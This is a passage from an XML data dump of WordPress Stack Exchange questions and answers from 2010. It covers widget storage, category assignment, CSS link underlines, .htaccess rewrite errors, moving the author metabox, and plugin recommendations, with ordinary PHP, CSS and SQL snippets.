installed, go to your wordpress database and execute the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT *&#xA;FROM `wp_options`&#xA;WHERE `option_name`&#xA;REGEXP '^widget_'&#xA;LIMIT 0 , 30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should get a whole load of results with stored PHP arrays for the details. If each user were to be able to set their own widgets, you could use this format, but append a user id to the end of the option name. You could write a simple piece of AJAXy javascript to send off the details of the widget arrangement each time it changes. The PHP receiver would then update the database accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that's one way to save the users data, but how do we retrieve and display it again? Personally, I'd let wordpress serve up the defaults normally at first. (Possibly with a CSS overlay and/or a progress spinner.) Then I'd fire off another AJAX request and load the user specified widgets. Specifically, I'd load the arrangement first, then individually load the data (via AJAX again) into each box. This would speed up the perceived loading time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there we go. Sorry it's such a high level answer, but it's a pretty far reaching question. I hope I've given you some ideas. Good luck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS If you get this working, I'd recommend distributing it as a plugin.&lt;/p&gt;&#xA;" OwnerUserId="562" LastActivityDate="2010-09-19T16:03:40.487" CommentCount="1" />
  <row Id="1972" PostTypeId="1" AcceptedAnswerId="1973" CreationDate="2010-09-19T17:11:10.837" Score="0" ViewCount="54" Body="&lt;p&gt;I have a post ID and I'm just trying to find a function ( I was thinking of something similar to wp_update_post() ) where I can just pass a post ID and maybe a category ID or slug and have it associate the post to the category. Does that exist or have you seen a plugin doing that where I can peek at what they did? &lt;/p&gt;&#xA;" OwnerUserId="933" LastActivityDate="2010-09-19T17:29:56.150" Title="Any built-in function to associate a post to category through a plugin?" Tags="&lt;plugins&gt;&lt;categories&gt;&lt;posts&gt;" AnswerCount="1" />
  <row Id="1973" PostTypeId="2" ParentId="1972" CreationDate="2010-09-19T17:29:56.150" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_set_object_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_set_object_terms()&lt;/code&gt;&lt;/a&gt; is native function that assigns term from taxonomy to post.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-19T17:29:56.150" />
  <row Id="1974" PostTypeId="1" AcceptedAnswerId="1975" CreationDate="2010-09-19T18:42:33.970" Score="0" ViewCount="190" Body="&lt;p&gt;One my widget bar, I have an image which is hyperlinked. The problem is that CSS underlines it. How do I remove the underline?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;Just noticed that this is what is causing the underline:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;}&#xA;.entry a,&#xA;.secondaryColumn a,&#xA;#commentsContainer h3 a,&#xA;.commentlist .comment-author a {&#xA;    border-bottom: 1px solid #ddd;&#xA;    color: #3c6c92;&#xA;    font-weight: bold;&#xA;}&#xA;.entry a:hover,&#xA;.secondaryColumn a:hover,&#xA;#commentsContainer h3 a:hover,&#xA;.commentlist .comment-author a:hover,&#xA;.commentlist .comment-meta a:hover {&#xA;    color: #3c6c92;&#xA;    border-bottom: 1px solid #3c6c92;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;changing the border-bottom to 0px does the trick, but then it takes off the border across all widgets.&#xA;I use Grid-focus with a wee bit of customization @ &lt;a href=&quot;http://thunderror.com&quot; rel=&quot;nofollow&quot;&gt;thunderror.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="138" LastEditorDisplayName="" LastEditDate="2010-09-20T05:53:39.187" LastActivityDate="2010-09-25T16:34:34.323" Title="Stop underlining image links" Tags="&lt;images&gt;&lt;css&gt;&lt;links&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="1975" PostTypeId="2" ParentId="1974" CreationDate="2010-09-19T19:02:25.030" Score="2" ViewCount="" Body="&lt;p&gt;By definition it isn't really hyperlinked image. It is hyperlink tag &lt;code&gt;a&lt;/code&gt; that contains image tag &lt;code&gt;img&lt;/code&gt;. Most probably it is a link that is really underlined, image is just inside it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to create new CSS rule that matches your link with image and specifies no underline (it could also be border-bottom property by the way, some recommend it over underline for better typography looks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible please give link to the site. CSS in theory is even worse than PHP in theory. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume it's about twitter image at top of sidebar? Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.textwidget a, .textwidget a:hover { border-bottom: none; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this will affect all text widgets. It is probably better to assign individual class to link like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://thunderror.com/&quot; class=&quot;twitter-link&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and style it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-20T06:18:08.363" LastActivityDate="2010-09-20T06:18:08.363" CommentCount="7" />
  <row Id="1976" PostTypeId="1" CreationDate="2010-09-19T19:46:53.027" Score="3" ViewCount="219" Body="&lt;p&gt;I don't use WordPress very often... I hope this makes some sense :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to sort media files into categories?&#xA;I want to give some order to the media that are being uploaded to the website, and 'attaching' media to a Post is not cutting it :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a quick search, I found these two plugins. Does anyone have any experience with them? Would anyone recommend another route?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/496/can-i-add-a-category-metabox-to-attachment&quot;&gt;http://wordpress.stackexchange.com/questions/496/can-i-add-a-category-metabox-to-attachment&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/media-tags/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/media-tags/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both plugins would add the functionality that I'm after. Perhaps the only grievance is that media 'tagging' at upload time doesn't work with the 'browser uploader'...&lt;/p&gt;&#xA;" LastActivityDate="2011-08-05T12:37:39.993" Title="How to add a category or tag to media at upload time with the browser uploader?" Tags="&lt;plugin-recommendation&gt;&lt;media&gt;&lt;uploads&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" />
  <row Id="1977" PostTypeId="1" CreationDate="2010-09-19T20:42:32.580" Score="0" ViewCount="190" Body="&lt;p&gt;I am stuck in .htaccess file creation for multisite. I am getting an error in page now internal error 500 and when i checked my log in apache it says C:/www/vhosts/localhost/wordpress3/.htaccess: RewriteEngine not allowed here. I allowed it in httpd.conf by removing the hash from LoadModule rewrite_module modules/mod_rewrite.so, still getting an error and it says page cannot be found. Can you please help me in this. &lt;/p&gt;&#xA;" OwnerUserId="732" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T08:39:35.500" LastActivityDate="2011-02-16T08:39:35.500" Title="How can I resolve a .htaccess internal server error setting up a WordPress multisite?" Tags="&lt;3.0&gt;&lt;multisite&gt;&lt;htaccess&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="1978" PostTypeId="2" ParentId="1977" CreationDate="2010-09-20T01:16:24.010" Score="1" ViewCount="" Body="&lt;p&gt;You may need to set &quot;AllowOverride All&quot; in your apache config, for the Directory block for the server root, or root of your Wordpress install. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what the relevant block looks like on a *nix system; things will probably look a little different on Windows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory /var/www/&amp;gt;&#xA;    Options Indexes FollowSymLinks MultiViews&#xA;AllowOverride All&#xA;Order allow,deny&#xA;allow from all&#xA;&amp;lt;/Directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The AllowOverride tells Apache that .htaccess files are okay; without it, it will ignore the contents of any .htaccess files it finds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;hth,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~ Patch&lt;/p&gt;&#xA;" OwnerUserId="882" LastActivityDate="2010-09-20T01:16:24.010" CommentCount="3" />
  <row Id="1980" PostTypeId="2" ParentId="1974" CreationDate="2010-09-20T03:46:53.007" Score="0" ViewCount="" Body="&lt;p&gt;Edit: to answer your revised and expanded question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've run into a wonderful thing called css specificity. I'll let you Google for the gory details, but basically, &quot;.commentlist .comment-author a&quot; flips more specificity bits than &quot;.twitter-link&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to override the style, you'd need to do so like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.commentlist .comment-author .twitter-link {&#xA;    border-bottom: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I'm about 99% certain that a class name (.twitter-link) is more specific than an element name (a). If the above doesn't work, you may need to add a class like &quot;twitter-widget&quot; to the widget, and then override with &quot;.commentlist .comment-author .twitter-widget a { ...&quot;)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Older answer, which may still answer more general questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, if you want to turn on link underlining globally, you could add the following bit of css to style.css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a { text-decoration: none; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you wanted to turn off underlining for just that link, you might do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.widgetname a { text-decoration: none; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where .widgetname is the value in the &quot;class&quot; attribute for the widget container. &lt;/p&gt;&#xA;" OwnerUserId="882" LastEditorUserId="882" LastEditorDisplayName="" LastEditDate="2010-09-25T16:34:34.323" LastActivityDate="2010-09-25T16:34:34.323" CommentCount="1" />
  <row Id="1981" PostTypeId="2" ParentId="1964" CreationDate="2010-09-20T04:07:24.480" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Tag,&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question directly, &lt;a href=&quot;http://scribu.net/wordpress/smart-archives-reloaded&quot; rel=&quot;nofollow&quot;&gt;Smart Archives Reloaded&lt;/a&gt; works with W3 Total Cache.  I have thoroughly tested it on my &lt;a href=&quot;http://chrisolbekson.com/smart-archives/&quot; rel=&quot;nofollow&quot;&gt;test bed&lt;/a&gt; and it works fine with W3 Total.  I was even able to easily add the js to my minify settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 2.0 removed the caching from the plugin.  Have you tried it with the latest version?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No more buggy caching&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Older versions of the plugin stored&#xA;  the generated HTML in a text file,&#xA;  instead of generating it on each page&#xA;  load. Unfortunately, this relied on&#xA;  two rather unreliable things: file&#xA;  permissions and wp-cron. Thus, it was&#xA;  the biggest source of problems for&#xA;  users. So I decided to remove file&#xA;  caching completely.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you want caching back, the best&#xA;  solution is to use a dedicated plugin,&#xA;  such as WP Super Cache. It will make&#xA;  your entire site load much faster.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It seems that some of the other archive plugins use some sort of caching mechanism which might cause a conflict with a dedicated caching plugin like W3 Total.   &lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-20T04:07:24.480" CommentCount="3" />
  <row Id="1982" PostTypeId="2" ParentId="1802" CreationDate="2010-09-20T05:30:21.453" Score="2" ViewCount="" Body="&lt;p&gt;If you're going from WP to WP, then you want to use the built-in exporter and importer. Your links should come along with it. I'm not sure about the categories with it, but this might help &lt;a href=&quot;http://ellejohara.com/blog/making-the-wordpress-opml-tool-slightly-more-useful/&quot; rel=&quot;nofollow&quot;&gt;http://ellejohara.com/blog/making-the-wordpress-opml-tool-slightly-more-useful/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-09-20T05:30:21.453" CommentCount="2" />
  <row Id="1983" PostTypeId="1" AcceptedAnswerId="1988" CreationDate="2010-09-20T05:52:17.707" Score="1" ViewCount="192" Body="&lt;p&gt;About a year ago I remember seeing a plugin or some code which allowed you to add an author dropdown menu to the post &quot;publishing&quot; metabox instead of it being on its own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find this code anymore and was wondering if anyone knows how to easily do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an ideal situation I would like to essentially add an additional row under the &quot;Visibility:&quot; row within the Publish metabox stating &quot;Author:&quot; along with the current authors name and an edit link after the name. Upon clicking on the edit link a drop down would show up with the same information as is available in author metabox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, I would greatly appreciate to know how this can be done. &lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-09-20T10:41:16.973" Title="How to Move the Author Metabox into the &quot;Publish&quot; metabox?" Tags="&lt;custom-menus&gt;&lt;metabox&gt;&lt;editor&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="1984" PostTypeId="1" CreationDate="2010-09-20T06:21:41.973" Score="1" ViewCount="96" Body="&lt;p&gt;Is there a plugin that allows for peer review of articles before you post them?  IE, like a professional writer would send their work to a friend or editor to review and comment on their work before publishing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jmo.me/ideas/peer-review-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;http://jmo.me/ideas/peer-review-wordpress-plugin&lt;/a&gt;&#xA;a pretty good explanation of what I'm trying to explain.&lt;/p&gt;&#xA;" OwnerUserId="938" LastActivityDate="2010-09-20T06:58:11.087" Title="Peer Review Plugin for Posts?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;publish&gt;" AnswerCount="2" />
  <row Id="1985" PostTypeId="2" ParentId="1984" CreationDate="2010-09-20T06:36:56.070" Score="1" ViewCount="" Body="&lt;p&gt;Article you linked to describes more of a third party service rather than plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress allows to preview drafts. You can create accounts for friends/editors and send them preview link. Can probably be coded up a little for extra convenience, but as I see it could work just fine even with native functionality.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-20T06:36:56.070" CommentCount="1" />
  <row Id="1986" PostTypeId="2" ParentId="1984" CreationDate="2010-09-20T06:58:11.087" Score="3" ViewCount="" Body="&lt;p&gt;The most comprehensive editorial system for wordpress I've found is &quot;Edit Flow&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/edit-flow/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/edit-flow/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adds extensive post statuses, an independent editorial commenting and messaging system, and much more...&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2010-09-20T06:58:11.087" CommentCount="1" />
  <row Id="1987" PostTypeId="1" CreationDate="2010-09-20T07:01:07.010" Score="1" ViewCount="569" Body="&lt;p&gt;I think, the wordpress plug-in architecture is not MVC. So I want to use/do the MVC architecture in WordPress plug-in development (like cakephp, codeIgniter ). How can I use them in plguin development. Does WordPress support CakePHP, or other frameworks?&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2010-09-22T00:30:40.807" LastActivityDate="2011-03-20T14:43:42.507" Title="WordPress Plug-in Development In MVC Architecture, How?" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;plugin-development&gt;" AnswerCount="5" FavoriteCount="4" />
  <row Id="1988" PostTypeId="2" ParentId="1983" CreationDate="2010-09-20T07:05:28.607" Score="3" ViewCount="" Body="&lt;p&gt;I somewhat suck with admin stuff so test this carefully. I had some issues with users not coming up in dropdown, but it fails with default meta box as well - probably because of my messed up test stack.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_menu', 'remove_author_box' );&#xA;add_action( 'post_submitbox_misc_actions', 'author_in_publish' );&#xA;&#xA;function remove_author_box() {&#xA;&#xA;    remove_meta_box( 'authordiv', 'post', 'normal' );&#xA;}&#xA;&#xA;function author_in_publish() {&#xA;&#xA;    global $post_ID;&#xA;&#xA;    $post = get_post( $post_ID );&#xA;    echo '&amp;lt;div class=&quot;misc-pub-section&quot;&amp;gt;Author: ';&#xA;    post_author_meta_box( $post );&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-20T07:05:28.607" CommentCount="3" />
  <row Id="1989" PostTypeId="2" ParentId="1987" CreationDate="2010-09-20T07:19:47.777" Score="0" ViewCount="" Body="&lt;p&gt;WordPress is pretty much framework for itself, it takes care of stuff that is usually covered by framework with own (or bundled) code. Well, technically parts of it is &lt;a href=&quot;http://backpress.org/&quot; rel=&quot;nofollow&quot;&gt;BackPress&lt;/a&gt; framework but it's really very internal and not too relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress extensions (plugins or themes either) use provided WP APIs to retrieve and modify data. It doesn't matter for WP what your extensions uses, as long as it uses proper API to interact with WP itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically you can include and use any framework, library or whatever in your plugin. As long as you use WP API properly and it makes sense for performance and licensing constraints.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-20T07:19:47.777" CommentCount="1" />
  <row Id="1990" PostTypeId="2" ParentId="813" CreationDate="2010-09-20T07:56:40.950" Score="1" ViewCount="" Body="&lt;p&gt;Seemed interesting, so here is my version. Not sure about &lt;code&gt;get_user_by()&lt;/code&gt;, should be more robust way to get objects for authors.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_list_authors() {&#xA;&#xA;    $authors = wp_list_authors( array(&#xA;    'exclude_admin' =&amp;gt; false,&#xA;    'html' =&amp;gt; false,&#xA;    'echo' =&amp;gt; false&#xA;    ) );&#xA;&#xA;    $authors = explode( ',', $authors );&#xA;&#xA;    echo '&amp;lt;ul&amp;gt;';&#xA;&#xA;    foreach ( $authors as $author ) {&#xA;&#xA;    $author = get_user_by( 'login', $author );&#xA;    $link = get_author_link( false, $author-&amp;gt;ID );&#xA;    echo &quot;&amp;lt;li&amp;gt;&amp;lt;a href='{$link}'&amp;gt;{$author-&amp;gt;display_name}&amp;lt;/a&amp;gt;&amp;lt;ul&amp;gt;&quot;;&#xA;&#xA;    $posts = get_posts( array(&#xA;        'author' =&amp;gt; $author-&amp;gt;ID,&#xA;        'numberposts' =&amp;gt; -1&#xA;    ) );&#xA;&#xA;    $categories = array();&#xA;&#xA;    foreach ( $posts as $post )&#xA;        foreach( get_the_category( $post-&amp;gt;ID ) as $category )&#xA;        $categories[$category-&amp;gt;term_id] =  $category-&amp;gt;term_id;&#xA;&#xA;    $output = wp_list_categories( array(&#xA;        'include' =&amp;gt; $categories,&#xA;        'title_li' =&amp;gt; '',&#xA;        'echo' =&amp;gt; false&#xA;        ) );&#xA;&#xA;    echo $output . '&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    }&#xA;&#xA;    echo '&amp;lt;/ul&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-20T07:56:40.950" />
  <row Id="1991" PostTypeId="2" ParentId="1357" CreationDate="2010-09-20T08:12:53.293" Score="0" ViewCount="" Body="&lt;h2&gt;User-submitted topics for posts&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Usually reader feels no feedback loop that he can influence blog's choice of topics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be slowly overturned (into great source of topics and suggestions) by using comments and/or dedicated feedback channels (such as &lt;a href=&quot;http://skribit.com/&quot; rel=&quot;nofollow&quot;&gt;Skribit&lt;/a&gt;) as basis for posts.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-20T08:12:53.293" CommunityOwnedDate="2010-09-20T08:12:53.293" />
  <row Id="1992" PostTypeId="1" CreationDate="2010-09-20T08:52:19.820" Score="0" ViewCount="129" Body="&lt;p&gt;Hi my name is Antony and this is my first question. I'm currently making a worpress theme. And in the loop I want to have two &quot;post-entry&quot; divs one that's small that goes next to my post thumb, and one for without the thumb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I need to do a &#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Start the Loop. --&amp;gt;&#xA;&amp;lt;?php query_posts();&#xA;if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;!--Begin Post--&amp;gt;&#xA;&amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;&amp;lt;?php if ( has_post_thumbnail()) { ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;post-thumb&quot;&amp;gt;&#xA;    &amp;lt;?php the_post_thumbnail(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;post-entry-1&quot;&amp;gt;&#xA;&#xA;&amp;lt;? } else { ?&amp;gt;&#xA;&#xA;&amp;lt;!--Begin Post Entry--&amp;gt;&#xA;&amp;lt;div class=&quot;post-entry-2&quot;&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;div class=&quot;post-meta&quot;&amp;gt;&amp;lt;?php the_tags('Tags: ', ', ', '&amp;lt;br /&amp;gt;'); ?&amp;gt; Posted &amp;lt;?php the_time('F jS, Y') ?&amp;gt; &amp;lt;?php _e('in'); ?&amp;gt; &amp;lt;?php the_category(', ') ?&amp;gt; &amp;lt;?php _e('by'); ?&amp;gt; &amp;lt;?php the_author(); ?&amp;gt; &amp;lt;?php edit_post_link('Edit', ' &amp;amp;#124; ', ''); ?&amp;gt;  &amp;lt;?php comments_popup_link('No Comments &amp;amp;#187;', '1 Comment &amp;amp;#187;', '% Comments &amp;amp;#187;'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!--End Post Entry--&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!--End Post--&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php if (function_exists('wp_pagenavi')) { ?&amp;gt;&amp;lt;?php wp_pagenavi(); ?&amp;gt;&#xA;&amp;lt;?php } else { ?&amp;gt;&#xA;&amp;lt;div class=&quot;left&quot;&amp;gt;&amp;lt;?php next_posts_link('&amp;amp;laquo; Older Entries') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;right&quot;&amp;gt;&amp;lt;?php previous_posts_link('Newer Entries &amp;amp;raquo;') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;h3&amp;gt;Not Found&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;Sorry, but nothing matched your search criteria. Please try again with some different keywords.&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;?php endif; wp_reset_query(); ?&amp;gt;&#xA;&amp;lt;!-- REALLY stop The Loop. --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help will be greatly appreciated, as I have been stuck on this for a few days now.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-20T18:27:12.163" Title="Wordpress query_posts adding two “post-entry” divs, one with “post-thumbnail” and one without" Tags="&lt;post-thumbnails&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="1993" PostTypeId="2" ParentId="1410" CreationDate="2010-09-20T08:56:30.310" Score="1" ViewCount="" Body="&lt;p&gt;Not possible with current code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;WP_oEmbed&lt;/code&gt; object goes extra mile (more like miles) to sanitize input so it is either html or boolean &lt;code&gt;false&lt;/code&gt;. All errors with fetching are discarded on output, there are no filters in there and only error (hardcoded) it handles is &lt;code&gt;501 not implemented&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Earliest you can mess with this is somewhere down in HTTP API.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-20T08:56:30.310" CommentCount="1" />
  <row Id="1995" PostTypeId="2" ParentId="1983" CreationDate="2010-09-20T10:41:16.973" Score="0" ViewCount="" Body="&lt;p&gt;or use the plugin Adminimize for customize this via options&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-09-20T10:41:16.973" />
  <row Id="1996" PostTypeId="1" CreationDate="2010-09-20T10:41:19.627" Score="0" ViewCount="54" Body="&lt;p&gt;Is there any way to modify images from a theme using the Wordpress web interface?&lt;/p&gt;&#xA;" OwnerUserId="944" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2010-09-20T17:06:12.690" LastActivityDate="2010-10-20T17:59:10.353" Title="Is there any way to modify images from a theme using the web interface?" Tags="&lt;themes&gt;&lt;images&gt;&lt;admin&gt;&lt;uploads&gt;&lt;modifications&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="1997" PostTypeId="1" AcceptedAnswerId="2209" CreationDate="2010-09-20T10:47:05.427" Score="3" ViewCount="233" Body="&lt;p&gt;I'm looking to create a simple directory, something similar but not so powerful as &lt;a href=&quot;http://www.sigsiu.net/sobi2.html&quot; rel=&quot;nofollow&quot;&gt;SOBI2 for Joomla&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something like this for Wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to store informations like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Name&lt;/li&gt;&#xA;&lt;li&gt;URL&lt;/li&gt;&#xA;&lt;li&gt;Address (country, region)&lt;/li&gt;&#xA;&lt;li&gt;Details (text)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;People should be able to browse or search such a simple directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something like this available for WordPress?&lt;/p&gt;&#xA;" OwnerUserId="944" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-24T00:36:15.450" LastActivityDate="2010-09-24T21:17:50.513" Title="How to create a mini directory in WordPress?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;plugin-recommendation&gt;&lt;custom-field&gt;&lt;directory&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="1998" PostTypeId="2" ParentId="1996" CreationDate="2010-09-20T10:55:00.903" Score="1" ViewCount="" Body="&lt;p&gt;You can try using the &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-easy-uploader/&quot; rel=&quot;nofollow&quot;&gt;WP easy uploader plugin&lt;/a&gt; to add images/files via WP interface&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2010-09-20T10:55:00.903" CommentCount="2" />
  <row Id="1999" PostTypeId="2" ParentId="1997" CreationDate="2010-09-20T10:55:48.717" Score="2" ViewCount="" Body="&lt;p&gt;Had you looked at native Links (bookmarks) feature? Is it little under-hyped, but Links can be categorized, store decent amount of meta information and are quite easy to work with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you are looking at plugin area or custom fields (or custom post types, which is out of simple realm).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Posts on topic:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://justintadlock.com/archives/2008/12/18/using-bookmarks-more-effectively&quot; rel=&quot;nofollow&quot;&gt;Using bookmarks more effectively ( Justin Tadlock )&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.rarst.net/script/wordpress-links/&quot; rel=&quot;nofollow&quot;&gt;Make use of Links in WordPress ( Rarst )&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-20T10:55:48.717" />
